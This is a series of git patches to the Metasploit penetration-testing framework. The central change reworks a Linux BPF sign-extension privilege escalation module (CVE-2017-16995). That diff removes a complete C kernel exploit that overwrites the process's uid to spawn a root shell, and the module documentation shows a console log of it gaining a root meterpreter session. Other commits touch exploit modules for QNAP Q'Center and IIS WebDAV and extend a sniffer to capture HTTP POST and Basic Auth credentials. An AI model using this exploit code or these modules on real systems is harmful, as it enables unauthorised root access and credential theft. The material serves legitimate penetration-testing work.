zq1yWB^KsiYYqOqDYm?Dz7L$p_qEE|0U-8(YPUI=*=|bM|=(SawCB2vkW&3;VXgjE# zQM8+D*hCr6q(und@8Y5QhNh)7*?}GF>55LtQDbcDxTqS{I;{k|Qe=@760pcMMLLQ>JQ3 zP!?Q&paW`XCfbweKny9H+ykLu8bZH_5EiE%EI95p`2SO<`*B=SockGm&gA{>{Jw+R zAYFI)1Q>e9fXk08ErGD6l1#W}@byheg;EX!tb4qXajyvMJ(C)^Y?jRlvjRF#?So*4GI)~|E9R{`#$FL zsJQL<{XkgTOCc+RR_i*`r~LN%xiqW;<#^eJpZ}`Qp6|alX~j7{18$f7{k6}Y-%G@_ z;xty&R1Yf$eOB9Z|M7ifn(bMjEqvjKZ~N@||2O#mI-Yh~QWbyuG`=bS+zh`Dsl80; zKg9yYI{mL%@ggcg{AdnQ;pa5|KM#Mre*RV1%*K!H`MI$6YVtNd-V`^H|4#@gezxcL z7{*7me+#xWcG;fa*YN-0oF(TdJia-89tZm&bGOg$b;cG-vkCcPd#1ne**oul3}wGh z5$DKuOvfN`x6jW-`wV5m^PC;99rG7aA&k$T@5c`sN+T@2t2!Nx@v5wqqj74#&WE%8 zN*_+TRG8MF&TUJ9K2(NOh2Dd>i;tCld_z>KpEHz|IZaU-4maV)=g)Z|@nr2U(GOs6 J_=NuU{|^AgkDCAh diff --git a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md index f84803cfcc..5ce960dbbf 100644 --- a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md @@ -1,20 +1,29 @@ ## Vulnerable Application -This module exploits the Berkeley Packet Filter in the Linux kernel prior to 4.13.0, -which contains a vulnerability where it may improperly perform sign extentension. -This can be utilized to priv escalate. However, this module's offsets and -other parameters have only been set and tested against the 4.4.0-116 kernel. + Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) + which contains a vulnerability where it may improperly perform sign + extension. This can be utilized to escalate privileges. -This module has been successfully tested on: + The target system must be compiled with BPF support and must not have + `kernel.unprivileged_bpf_disabled` set to `1`. - * Ubuntu 16.04 with the 4.4.0-116 kernel - * Linux Mint 18 with the 4.4.0-116-generic kernel + This module has been tested successfully on: -### Meterpreter Exception - -Due to a bug, this exploit can only be run on a non-meterpreter shell. -When run on meterpreter, or a shell spawned by meterpreter, the error `error: Invalid argument` -is thrown by the executable. + * Debian 9.0 kernel 4.9.0-3-amd64; + * Deepin 15.5 kernel 4.9.0-deepin13-amd64; + * ElementaryOS 0.4.1 kernel 4.8.0-52-generic; + * Fedora 25 kernel 4.8.6-300.fc25.x86_64; + * Fedora 26 kernel 4.11.8-300.fc26.x86_64; + * Fedora 27 kernel 4.13.9-300.fc27.x86_64; + * Linux Mint 17.3 kernel 4.4.0-89-generic; + * Linux Mint 18.0 kernel 4.8.0-58-generic; + * Linux Mint 18.3 kernel 4.13.0-16-generic; + * Mageia 6 kernel 4.9.35-desktop-1.mga6; + * Ubuntu 14.04.1 kernel 4.4.0-89-generic; + * Ubuntu 16.04.2 kernel 4.8.0-45-generic; + * Ubuntu 16.04.3 kernel 4.10.0-28-generic; + * Ubuntu 17.04 kernel 4.10.0-19-generic; + * ZorinOS 12.1 kernel 4.8.0-39-generic. ## Verification Steps @@ -145,55 +154,31 @@ It is possible to force pre-compiled binaries, in a scenario where `build-essent BuildTuple : x86_64-linux-musl Meterpreter : x64/linux ``` -### Linux Mint 18 + +### Debian 9.0 (x86_64) ``` - msf5 exploit(multi/handler) > use exploit/linux/local/bpf_sign_extension_priv_esc - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set verbose true - verbose => true + msf5 > use exploit/linux/local/bpf_sign_extension_priv_esc msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > check - - [!] SESSION may not be compatible with this module. - [+] Kernel confirmed vulnerable - [*] The target appears to be vulnerable. - msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set lhost 172.16.191.188 - lhost => 172.16.191.188 + msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False + compile => False msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run - - [!] SESSION may not be compatible with this module. + [*] Started reverse TCP handler on 172.16.191.188:4444 - [+] Kernel confirmed vulnerable - [+] gcc is installed - [*] Live compiling exploit on system - [*] Writing files to target - [*] Writing UVQYvBTJ to /tmp/UVQYvBTJ.c - [*] Max line length is 65537 - [*] Writing 7773 bytes in 1 chunks of 26765 bytes (octal-encoded), using printf - [*] Writing ljJApCaK to /tmp/ljJApCaK - [*] Max line length is 65537 - [*] Writing 283 bytes in 1 chunks of 845 bytes (octal-encoded), using printf - [*] Starting execution of priv esc. - [*] Transmitting intermediate stager...(126 bytes) - [*] Sending stage (812100 bytes) to 172.16.191.207 - [*] task_struct = ffff88003ce84600 - [*] uidptr = ffff88003cc46f04 - [*] spawning root shell - [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.207:48276) at 2018-03-24 22:46:58 -0400 - [+] Deleted /tmp/UVQYvBTJ.c - [+] Deleted /tmp/UVQYvBTJ - [+] Deleted /tmp/ljJApCaK - [!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ.c' on the target - [!] This exploit may require manual cleanup of '/tmp/UVQYvBTJ' on the target - [!] This exploit may require manual cleanup of '/tmp/ljJApCaK' on the target - + [*] Writing '/tmp/.JBJBxoEO' (34784 bytes) ... + [*] Writing '/tmp/.1pZhL1gc' (207 bytes) ... + [*] Launching exploit ... + [*] Sending stage (861480 bytes) to 172.16.191.236 + [*] Cleaning up /tmp/.1pZhL1gc and /tmp/.JBJBxoEO ... + meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > sysinfo - Computer : 172.16.191.207 - OS : LinuxMint 18 (Linux 4.4.0-116-generic) + Computer : debian-9-0-x64.local + OS : Debian 9.4 (Linux 4.9.0-3-amd64) Architecture : x64 - BuildTuple : x86_64-linux-musl - Meterpreter : x64/linux + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > ``` diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 2f12cb0075..9983793219 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -7,70 +7,92 @@ class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Linux::Priv + include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) - super( update_info( info, - 'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation', - 'Description' => %q{ - Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter - which contains a vulnerability where it may improperly perform - sign extension. This can be utilized to escalate privileges. - This module has been tested on Ubuntu 16.04 with the 4.4.0-116 - kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'bleidl', # discovery - 'vnik', # edb - 'h00die' # metasploit module - ], - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell' ], - 'References' => - [ - [ 'CVE', '2017-16995' ], - [ 'EDB', '44298' ], - [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], - [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] - ], - 'Targets' => - [ - [ 'Linux x64', { 'Arch' => ARCH_X64 } ], - [ 'Linux x86', { 'Arch' => ARCH_X86 } ] - ], - 'DefaultOptions' => - { - 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', - 'PrependFork' => true - }, - 'DisclosureDate' => 'Nov 12 2017', - 'Privileged' => true, - 'DefaultTarget' => 0)) + super(update_info(info, + 'Name' => 'Linux BPF Sign Extension Local Privilege Escalation', + 'Description' => %q{ + Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF) + which contains a vulnerability where it may improperly perform sign + extension. This can be utilized to escalate privileges. + + The target system must be compiled with BPF support and must not have + kernel.unprivileged_bpf_disabled set to 1. + + This module has been tested successfully on: + + Debian 9.0 kernel 4.9.0-3-amd64; + Deepin 15.5 kernel 4.9.0-deepin13-amd64; + ElementaryOS 0.4.1 kernel 4.8.0-52-generic; + Fedora 25 kernel 4.8.6-300.fc25.x86_64; + Fedora 26 kernel 4.11.8-300.fc26.x86_64; + Fedora 27 kernel 4.13.9-300.fc27.x86_64; + Linux Mint 17.3 kernel 4.4.0-89-generic; + Linux Mint 18.0 kernel 4.8.0-58-generic; + Linux Mint 18.3 kernel 4.13.0-16-generic; + Mageia 6 kernel 4.9.35-desktop-1.mga6; + Ubuntu 14.04.1 kernel 4.4.0-89-generic; + Ubuntu 16.04.2 kernel 4.8.0-45-generic; + Ubuntu 16.04.3 kernel 4.10.0-28-generic; + Ubuntu 17.04 kernel 4.10.0-19-generic; + ZorinOS 12.1 kernel 4.8.0-39-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jann Horn', # Discovery + 'bleidl', # Discovery and get-rekt-linux-hardened.c exploit + 'vnik', # upstream44.c exploit + 'rlarabee', # cve-2017-16995.c exploit + 'h00die', # Metasploit + 'bcoles' # Metasploit + ], + 'DisclosureDate' => 'Nov 12 2017', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'AKA', 'get-rekt-linux-hardened.c' ], + [ 'AKA', 'upstream44.c' ], + [ 'BID', '102288' ], + [ 'CVE', '2017-16995' ], + [ 'EDB', '44298' ], + [ 'EDB', '45010' ], + [ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ], + [ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ], + [ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ], + [ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ], + [ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ], + [ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ], + [ 'URL', 'https://usn.ubuntu.com/3523-2/' ], + [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ], + [ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ], + [ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ] + ], + 'DefaultTarget' => 0)) register_options [ - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), - OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir - datastore['WritableDir'] - end - - def command_exists?(cmd) - cmd_exec("command -v #{cmd} && echo true").include? 'true' + datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data - register_file_for_cleanup path end def upload_and_chmodx(path, data) @@ -78,14 +100,46 @@ class MetasploitModule < Msf::Exploit::Local cmd_exec "chmod +x '#{path}'" end - def check - version = kernel_release - unless version.start_with? '4.4.0-116-generic' - vprint_error "Kernel version #{version} is not vulnerable" - return CheckCode::Safe - end - vprint_good "Kernel version #{version} appears to be vulnerable" + def upload_and_compile(path, data) + upload "#{path}.c", data + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" + end + output = cmd_exec gcc_cmd + rm_f "#{path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." + end + + cmd_exec "chmod +x #{path}" + end + + def exploit_data(file) + path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file + fd = ::File.open path, 'rb' + data = fd.read fd.stat.size + fd.close + data + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" @@ -93,18 +147,24 @@ class MetasploitModule < Msf::Exploit::Local end vprint_good "System architecture #{arch} is supported" - if session.type.to_s.eql? 'meterpreter' - vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)' + if unprivileged_bpf_disabled? + vprint_error 'Unprivileged BPF loading is not permitted' + return CheckCode::Safe end + vprint_good 'Unprivileged BPF loading is permitted' + + release = kernel_release + if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') || + Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0') + vprint_error "Kernel version #{release} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Kernel version #{release} appears to be vulnerable" CheckCode::Appears end def exploit - if session.type.to_s.eql? 'meterpreter' - fail_with Failure::BadConfig, 'Exploit can only be run on command shell sessions (Meterpreter does not work)' - end - unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end @@ -117,295 +177,27 @@ class MetasploitModule < Msf::Exploit::Local fail_with Failure::BadConfig, "#{base_dir} is not writable" end - compile = false - if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') - if command_exists? 'gcc' - vprint_good 'gcc is installed' - compile = true - else - unless datastore['COMPILE'].eql? 'Auto' - fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' - end - end - end - - c_code = %q{ - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - - #define PHYS_OFFSET 0xffff880000000000 - #define CRED_OFFSET 0x5f8 - #define UID_OFFSET 4 - #define LOG_BUF_SIZE 65536 - #define PROGSIZE 328 - - int sockets[2]; - int mapfd, progfd; - - char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff" - "\x55\x09\x02\x00\xff\xff\xff\xff" - "\xb7\x00\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x18\x19\x00\x00\x03\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00" - "\xbf\x91\x00\x00\x00\x00\x00\x00" - "\xbf\xa2\x00\x00\x00\x00\x00\x00" - "\x07\x02\x00\x00\xfc\xff\xff\xff" - "\x62\x0a\xfc\xff\x00\x00\x00\x00" - "\x85\x00\x00\x00\x01\x00\x00\x00" - "\x55\x00\x01\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x79\x06\x00\x00\x00\x00\x00\x00" - "\xbf\x91\x00\x00\x00\x00\x00\x00" - "\xbf\xa2\x00\x00\x00\x00\x00\x00" - "\x07\x02\x00\x00\xfc\xff\xff\xff" - "\x62\x0a\xfc\xff\x01\x00\x00\x00" - "\x85\x00\x00\x00\x01\x00\x00\x00" - "\x55\x00\x01\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x79\x07\x00\x00\x00\x00\x00\x00" - "\xbf\x91\x00\x00\x00\x00\x00\x00" - "\xbf\xa2\x00\x00\x00\x00\x00\x00" - "\x07\x02\x00\x00\xfc\xff\xff\xff" - "\x62\x0a\xfc\xff\x02\x00\x00\x00" - "\x85\x00\x00\x00\x01\x00\x00\x00" - "\x55\x00\x01\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x79\x08\x00\x00\x00\x00\x00\x00" - "\xbf\x02\x00\x00\x00\x00\x00\x00" - "\xb7\x00\x00\x00\x00\x00\x00\x00" - "\x55\x06\x03\x00\x00\x00\x00\x00" - "\x79\x73\x00\x00\x00\x00\x00\x00" - "\x7b\x32\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x55\x06\x02\x00\x01\x00\x00\x00" - "\x7b\xa2\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00" - "\x7b\x87\x00\x00\x00\x00\x00\x00" - "\x95\x00\x00\x00\x00\x00\x00\x00"; - - char bpf_log_buf[LOG_BUF_SIZE]; - - static int bpf_prog_load(enum bpf_prog_type prog_type, - const struct bpf_insn *insns, int prog_len, - const char *license, int kern_version) { - union bpf_attr attr = { - .prog_type = prog_type, - .insns = (__u64)insns, - .insn_cnt = prog_len / sizeof(struct bpf_insn), - .license = (__u64)license, - .log_buf = (__u64)bpf_log_buf, - .log_size = LOG_BUF_SIZE, - .log_level = 1, - }; - - attr.kern_version = kern_version; - - bpf_log_buf[0] = 0; - - return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); - } - - static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, - int max_entries) { - union bpf_attr attr = { - .map_type = map_type, - .key_size = key_size, - .value_size = value_size, - .max_entries = max_entries - }; - - return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); - } - - static int bpf_update_elem(uint64_t key, uint64_t value) { - union bpf_attr attr = { - .map_fd = mapfd, - .key = (__u64)&key, - .value = (__u64)&value, - .flags = 0, - }; - - return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); - } - - static int bpf_lookup_elem(void *key, void *value) { - union bpf_attr attr = { - .map_fd = mapfd, - .key = (__u64)key, - .value = (__u64)value, - }; - - return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); - } - - static void __exit(char *err) { - fprintf(stderr, "error: %s\n", err); - exit(-1); - } - - static void prep(void) { - mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); - - if (mapfd < 0) - __exit(strerror(errno)); - - progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, - (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0); - - if (progfd < 0) - __exit(strerror(errno)); - - if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) - __exit(strerror(errno)); - - if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) - __exit(strerror(errno)); - } - - static void writemsg(void) { - char buffer[64]; - - ssize_t n = write(sockets[0], buffer, sizeof(buffer)); - - if (n < 0) { - perror("write"); - return; - } - if (n != sizeof(buffer)) - fprintf(stderr, "short write: %lu\n", n); - } - - #define __update_elem(a, b, c) \ - bpf_update_elem(0, (a)); \ - bpf_update_elem(1, (b)); \ - bpf_update_elem(2, (c)); \ - writemsg(); - - static uint64_t get_value(int key) { - uint64_t value; - - if (bpf_lookup_elem(&key, &value)) - __exit(strerror(errno)); - - return value; - } - - static uint64_t __get_fp(void) { - __update_elem(1, 0, 0); - - return get_value(2); - } - - static uint64_t __read(uint64_t addr) { - __update_elem(0, addr, 0); - - return get_value(2); - } - - static void __write(uint64_t addr, uint64_t val) { - __update_elem(2, addr, val); - } - - static uint64_t get_sp(uint64_t addr) { - return addr & ~(0x4000 - 1); - } - - static void pwn(void) { - uint64_t fp, sp, task_struct, credptr, uidptr; - - fp = __get_fp(); - if (fp < PHYS_OFFSET) - __exit("bogus fp"); - - sp = get_sp(fp); - if (sp < PHYS_OFFSET) - __exit("bogus sp"); - - task_struct = __read(sp); - - if (task_struct < PHYS_OFFSET) - __exit("bogus task ptr"); - - printf("task_struct = %lx\n", task_struct); - - credptr = __read(task_struct + CRED_OFFSET); // cred - - if (credptr < PHYS_OFFSET) - __exit("bogus cred ptr"); - - uidptr = credptr + UID_OFFSET; // uid - if (uidptr < PHYS_OFFSET) - __exit("bogus uid ptr"); - - printf("uidptr = %lx\n", uidptr); - __write(uidptr, 0); // set both uid and gid to 0 - - if (getuid() == 0) { - printf("spawning root shell\n"); - system("/bin/bash"); - exit(0); - } - - __exit("not vulnerable?"); - } - - int main(int argc, char **argv) { - prep(); - pwn(); - - return 0; - } - - } - - exploit_name = ".#{rand_text_alphanumeric 8..12}" - exploit_path = "#{base_dir}/#{exploit_name}" - - # exploit name must be 7 characters to allow string replacement - # in the pre-compiled binary - payload_name = ".#{rand_text_alphanumeric 7}" - payload_path = "#{base_dir}/#{payload_name}" - - if compile + # Upload exploit executable + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? vprint_status 'Live compiling exploit on system...' - c_code.gsub!(%r{/bin/bash}, payload_path) - upload "#{exploit_path}.c", c_code - output = cmd_exec "gcc -o #{exploit_path} #{exploit_path}.c" - - unless output.blank? - print_error output - fail_with Failure::Unknown, "#{exploit_path}.c failed to compile" - end - - cmd_exec "chmod +x #{exploit_path}" + upload_and_compile executable_path, exploit_data('exploit.c') else vprint_status 'Dropping pre-compiled exploit on system...' - compiled_path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out' - fd = ::File.open compiled_path, 'rb' - exploit_data = fd.read fd.stat.size - fd.close - - exploit_data.gsub!(%r{/tmp/JDQDHtEG}, payload_path) - upload_and_chmodx exploit_path, exploit_data + upload_and_chmodx executable_path, exploit_data('exploit.out') end + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe - print_status 'Launching exploit...' - output = cmd_exec exploit_path + # Launch exploit + print_status 'Launching exploit ...' + output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} " output.each_line { |line| vprint_status line.chomp } + print_status "Cleaning up #{payload_path} and #{executable_path} ..." + rm_f executable_path + rm_f payload_path end end From 71e25f14942cbb34f00f101970e8d43e09189422 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Sat, 14 Jul 2018 16:32:38 +0530 Subject: [PATCH 175/217] show error if server.pid == pid This PR adds changes to catch error when `server.pid` and `pid` are the same --- .../post/meterpreter/ui/console/command_dispatcher/core.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 6b813f0daa..310cbddc49 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -1113,7 +1113,11 @@ class Console::CommandDispatcher::Core print_status("#{existing_relays.length} TCP relay(s) removed.") end end - + + if server.pid == pid + print_error("Process already running at PID #{pid}") + return + end server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. From 18e65abc546f7ffa8403f171712468e180f52cbe Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Sat, 14 Jul 2018 10:03:01 -0500 Subject: [PATCH 176/217] Fix link --- modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb index fef4af809a..6752afd092 100644 --- a/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb +++ b/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ['EDB', '45015'], ['URL', 'https://www.coresecurity.com/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities'], ['URL', 'http://seclists.org/fulldisclosure/2018/Jul/45'], - ['URL', 'https://www.securityfocus.com/archive/1/542141/'], + ['URL', 'https://www.securityfocus.com/archive/1/542141'], ['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201807-10'] ], 'Platform' => 'linux', From b9192d1bdb51ddd19009d2cf3df787193ede7160 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Sat, 14 Jul 2018 08:26:26 -0700 Subject: [PATCH 177/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index e8e68723f1..b08a0a36dd 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -31228,6 +31228,39 @@ "is_install_path": true, "ref_name": "linux/http/piranha_passwd_exec" }, + "exploit_linux/http/qnap_qcenter_change_passwd_exec": { + "name": "QNAP Q'Center change_passwd Command Execution", + "full_name": "exploit/linux/http/qnap_qcenter_change_passwd_exec", + "rank": 600, + "disclosure_date": "2018-07-11", + "type": "exploit", + "author": [ + "Ivan Huertas", + "Brendan Coles" + ], + "description": "This module exploits a command injection vulnerability in the\n `change_passwd` API method within the web interface of QNAP Q'Center\n virtual appliance versions prior to 1.7.1083.\n\n The vulnerability allows the 'admin' privileged user account to\n execute arbitrary commands as the 'admin' operating system user.\n\n Valid credentials for the 'admin' user account are required, however,\n this module also exploits a separate password disclosure issue which\n allows any authenticated user to view the password set for the 'admin'\n user during first install.\n\n This module has been tested successfully on QNAP Q'Center appliance\n version 1.6.1075.", + "references": [ + "CVE-2018-0706", + "CVE-2018-0707", + "EDB-45015", + "URL-https://www.coresecurity.com/advisories/qnap-qcenter-virtual-appliance-multiple-vulnerabilities", + "URL-http://seclists.org/fulldisclosure/2018/Jul/45", + "URL-https://www.securityfocus.com/archive/1/542141", + "URL-https://www.qnap.com/en-us/security-advisory/nas-201807-10" + ], + "is_server": false, + "is_client": false, + "platform": "Linux", + "arch": "x86, x64", + "rport": "443", + "targets": [ + "Auto" + ], + "mod_time": "2018-07-14 10:03:01 +0000", + "path": "/modules/exploits/linux/http/qnap_qcenter_change_passwd_exec.rb", + "is_install_path": true, + "ref_name": "linux/http/qnap_qcenter_change_passwd_exec" + }, "exploit_linux/http/raidsonic_nas_ib5220_exec_noauth": { "name": "Raidsonic NAS Devices Unauthenticated Remote Command Execution", "full_name": "exploit/linux/http/raidsonic_nas_ib5220_exec_noauth", From 134417b598946ad52255e22a1f05ceb17c8af6eb Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Sat, 14 Jul 2018 10:44:09 -0500 Subject: [PATCH 178/217] Account for nil --- .../windows/iis/iis_webdav_scstoragepathfromurl.rb | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb b/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb index 311990ec16..9aa04cce95 100644 --- a/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb +++ b/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb @@ -91,8 +91,8 @@ class MetasploitModule < Msf::Exploit::Remote if headers['MS-Author-Via'] == 'DAV' || headers['DASL'] == '' || headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ || - headers['Public'].include?('PROPFIND') || - headers['Allow'].include?('PROPFIND') + headers['Public'].to_s.include?('PROPFIND') || + headers['Allow'].to_s.include?('PROPFIND') return true end @@ -115,7 +115,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Safe end - if res.headers['Server'].include? 'IIS/6.0' + if res.headers['Server'].to_s.include? 'IIS/6.0' return CheckCode::Vulnerable end @@ -256,4 +256,3 @@ class MetasploitModule < Msf::Exploit::Remote end end end - From 6cd1593061e702b37118d86234863a2ba3967592 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 15 Jul 2018 14:16:37 +0000 Subject: [PATCH 179/217] Add support for HTTP POST and Basic Auth to psnuffle --- data/exploits/psnuffle/url.rb | 33 ++++++++++++++++++++------------- 1 file changed, 20 insertions(+), 13 deletions(-) diff --git a/data/exploits/psnuffle/url.rb b/data/exploits/psnuffle/url.rb index d90f254caa..d387b69c50 100755 --- a/data/exploits/psnuffle/url.rb +++ b/data/exploits/psnuffle/url.rb @@ -1,22 +1,24 @@ -# Psnuffle password sniffer add-on class for HTTP GET URL's +# Psnuffle password sniffer add-on class for HTTP URLs # part of psnuffle sniffer auxiliary module -# -# Very simple example how to write sniffer extensions -# -# Sniffer class for GET URL's +# +# Sniffer class for GET/POST URLs. +# Also extracts HTTP Basic authentication credentials. +# class SnifferURL < BaseProtocolParser def register_sigs self.sigs = { - :get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i, - :webhost => /^HOST\:\s+([^\n\r]+)/i, + :get => /^GET\s+([^\n]+)\s+HTTP\/\d\.\d/i, + :post => /^POST\s+([^\n]+)\s+HTTP\/\d\.\d/i, + :webhost => /^HOST:\s+([^\n\r]+)/i, + :basic_auth => /^Authorization:\s+Basic\s+([^\n\r]+)/i, } end def parse(pkt) - # We want to return immediantly if we do not have a packet which is handled by us + # We want to return immediatly if we do not have a packet which is handled by us return unless pkt.is_tcp? - return if (pkt.tcp_sport != 80 and pkt.tcp_dport != 80) + return if (pkt.tcp_sport != 80 && 